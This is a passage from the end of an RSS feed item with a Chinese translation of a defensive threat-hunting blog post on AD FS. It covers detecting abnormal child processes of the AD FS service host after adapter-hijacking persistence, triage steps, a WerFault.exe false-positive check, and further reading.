none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如上所示，AD FS 的服务进程 Microsoft.IdentityServer.ServiceHost.exe 可被篡改以执行有效载荷用于持久化活动。通过研究 ServiceHost.exe 的所有核心功能，我们未发现该进程存在任何程序性子进程。因此，一个可能的威胁狩猎思路是检测 AD FS 服务宿主进程下的异常子进程执行行为。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="Microsoft.IdentityServer.ServiceHost.exe execute cmd.exe using persistence within Microsoft.IdentityServer.Web" class="rich_pages wxw-img" data-ratio="0.20243902439024392" data-type="png" data-w="820" style="max-width: 100%;" data-imgfileid="100012158" src="https://wechat2rss.xlab.app/img-proxy/?k=ad866435&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSgGNk6WIJ4j6ZFg0wHQwRkUedlTEsavOicYZ9P3IbCHr43hPV8BnowORmibNIs6QNibBcs8a6CHHCp8YRStibSCISJL36OoxVYYqD8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 16：Microsoft.IdentityServer.ServiceHost.exe 通过 Microsoft.IdentityServer.Web 内的持久化机制执行 cmd.exe</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐调查流程：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">检查目标进程执行记录及其命令行参数。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检查目标进程执行的出站连接。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">如活动确认为恶意，获取 </span><em style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Microsoft.IdentityServer.Web.dll</span></em><span leaf="">以进行进一步分析。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Axon 提示：如果服务崩溃，在服务进程下发现 </span><em><span leaf="">WerFault.exe</span></em><span leaf="">执行是合理的。在这种情况下，确认活动合法性最有效和严密的方式是将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-p</span></code><span leaf="">参数下的目标 PID 与执行前 </span><em><span leaf="">Microsoft.IdentityServer.ServiceHost</span></em><span leaf="">进程的操作系统 PID 进行对比。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img data-aistatus="1" alt="False positive execution of werfault.exe under Microsoft.IdentityServer.ServiceHost.exe due to a service crash. The -p parameter is with AD FS service PID" class="rich_pages wxw-img" data-ratio="0.0824524312896406" data-type="png" data-w="946" style="max-width: 100%;" data-imgfileid="100012157" src="https://wechat2rss.xlab.app/img-proxy/?k=bf4067eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjSWjNxFaCWTxg5ibWfE5I94x356FrCTsr65WCYJ6jXQ60JuI3cDPxqeicpm13TqvAEXLnPfK9shMsTBtejFYTCGMcRVl4KgqOI4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><em><span leaf="">图 17：服务崩溃导致 werfault.exe 在 Microsoft.IdentityServer.ServiceHost.exe 下的误报执行，-p 参数为 AD FS 服务 PID</span></em></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">狩猎查询可在此处获取。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">结语</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AD FS 威胁狩猎系列第一部分深入介绍了 AD FS 的结构与身份验证流程，涵盖适配器劫持攻击的核心概念，以及有效的狩猎与检测策略。下一章将把视角转向 AD FS 上的安全令牌攻击，重点聚焦于 Golden SAML 攻击。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下期见！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">~ Axon</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">延伸阅读</span></strong></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">MSDN: Active Directory Federation Services</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">I am AD FS and so can you by Doug Bienstock and Austin Baker</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">AADinternals by Nestori Syynimaa</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.hunters.security/en/blog/adfs-threat-hunting#title2">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=49e2ef69&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495830%26idx%3D1%26sn%3D323eb31d91ee8bd66b9c9b4b1c2321ff">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Apr 2026 14:50:00 +0800</pubDate>
    </item>
  </channel>
</rss>